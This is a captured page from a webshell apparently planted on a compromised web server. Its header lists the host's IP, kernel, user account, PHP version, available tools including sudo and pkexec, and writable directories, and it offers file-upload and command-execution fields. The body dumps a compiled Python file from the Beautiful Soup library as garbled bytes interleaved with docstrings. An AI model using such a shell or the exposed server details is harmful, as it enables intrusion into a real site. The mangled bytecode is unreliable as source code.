403Webshell
Server IP : 172.67.131.151  /  Your IP : 104.23.243.108
Web Server : Apache
System : Linux keen-cori.18-142-40-148.plesk.page 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
User : simottodesign.com_2tntp341vs7 ( 10011)
PHP Version : 8.3.31
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/bs4/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/bs4/__pycache__/formatter.cpython-38.pyc
U

t�^��@s�ddlmZGdd�de�ZGdd�de�ZGdd�de�Zeejd�ejd	<eejd
d�ejd<eejd�ejd
<ed
d�ejd
<eejd�ejd	<eejd�ejd
<eeejd
d��ejd
<d
S)�)�EntitySubstitutionc@s\eZdZdZiZiZdZdZee	ddg�d�Z
dd�Zddd�Zd
d�Z
dd�Zdd�Zd	S)�	Formattera�Describes a strategy to use when outputting a parse tree to a string.

    Some parts of this strategy come from the distinction between
    HTML4, HTML5, and XML. Others are configurable by the user.

    Formatters are passed in as the `formatter` argument to methods
    like `PageElement.encode`. Most people won't need to think about
    formatters, and most people who need to think about them can pass
    in one of these predefined strings as `formatter` rather than
    making a new Formatter object:

    For HTML documents:
     * 'html' - HTML entity substitution for generic HTML documents. (default)
     * 'html5' - HTML entity substitution for HTML5 documents.
     * 'minimal' - Only make the substitutions necessary to guarantee
                   valid HTML.
     * None - Do not perform any substitution. This will be faster
              but may result in invalid markup.

    For XML documents:
     * 'html' - Entity substitution for XHTML documents.
     * 'minimal' - Only make the substitutions necessary to guarantee
                   valid XML. (default)
     * None - Do not perform any substitution. This will be faster
              but may result in invalid markup.
    �htmlZxmlZscriptZstyle)�cdata_containing_tagscCs&|dk	r|S||jkrt�S|j|S�N)�XML�set�
HTML_DEFAULTS)�self�language�valueZkwarg�r
�//usr/lib/python3/dist-packages/bs4/formatter.py�_default)s

zFormatter._defaultN�/cCs&||_||_||_|�||d�|_dS)aZConstructor.

        :param language: This should be Formatter.XML if you are formatting
           XML markup and Formatter.HTML if you are formatting HTML markup.

        :param entity_substitution: A function to call to replace special
           characters with XML/HTML entities. For examples, see 
           bs4.dammit.EntitySubstitution.substitute_html and substitute_xml.
        :param void_element_close_prefix: By default, void elements
           are represented as <tag/> (XML rules) rather than <tag>
           (HTML rules). To get <tag>, pass in the empty string.
        :param cdata_containing_tags: The list of tags that are defined
           as containing CDATA in this dialect. For example, in HTML,
           <script> and <style> tags are defined as containing CDATA,
           and their contents should not be formatted.
        rN)r�entity_substitution�void_element_close_prefixrr)r
rrrrr
r
r�__init__0s�zFormatter.__init__cCsF|js
|Sddlm}t||�r<|jdk	r<|jj|jkr<|S|�|�S)aProcess a string that needs to undergo entity substitution.
        This may be a string encountered in an attribute value or as
        text.

        :param ns: A string.
        :return: A string with certain characters replaced by named
           or numeric entities.
        �)�NavigableStringN)r�elementr�
isinstance�parent�namer)r
�nsrr
r
r�
substituteKs	
��zFormatter.substitutecCs
|�|�S)z�Process the value of an attribute.

        :param ns: A string.
        :return: A string with certain characters replaced by named
           or numeric entities.
        )r)r
rr
r
r�attribute_value_szFormatter.attribute_valuecCst|j���S)aReorder a tag's attributes however you want.
        
        By default, attributes are sorted alphabetically. This makes
        behavior consistent between Python 2 and Python 3, and preserves
        backwards compatibility with older versions of Beautiful Soup.
        )�sortedZattrs�items)r
�tagr
r
r�
attributeshszFormatter.attributes)NNrN)�__name__�
__module__�__qualname__�__doc__ZXML_FORMATTERSZHTML_FORMATTERS�HTMLr�dictrr	rrrrr r
r
r
rrs"
��
	rcs$eZdZdZiZ�fdd�Z�ZS)�
HTMLFormatterzA generic Formatter for HTML.cstt|�j|jf|�|�Sr)�superr'rr%�r
�args�kwargs��	__class__r
rruszHTMLFormatter.__init__�r!r"r#r$�REGISTRYr�
__classcell__r
r
r,rr'rsr'cs$eZdZdZiZ�fdd�Z�ZS)�XMLFormatterzA generic Formatter for XML.cstt|�j|jf|�|�Sr)r(r1rrr)r,r
rr|szXMLFormatter.__init__r.r
r
r,rr1ysr1)rrN)rrZhtml5Zminimal)	Z
bs4.dammitrrr'r1Zsubstitute_htmlr/Zsubstitute_xmlrr
r
r
r�<module>s2o�������

Youez - 2016 - github.com/yon3zu
LinuXploit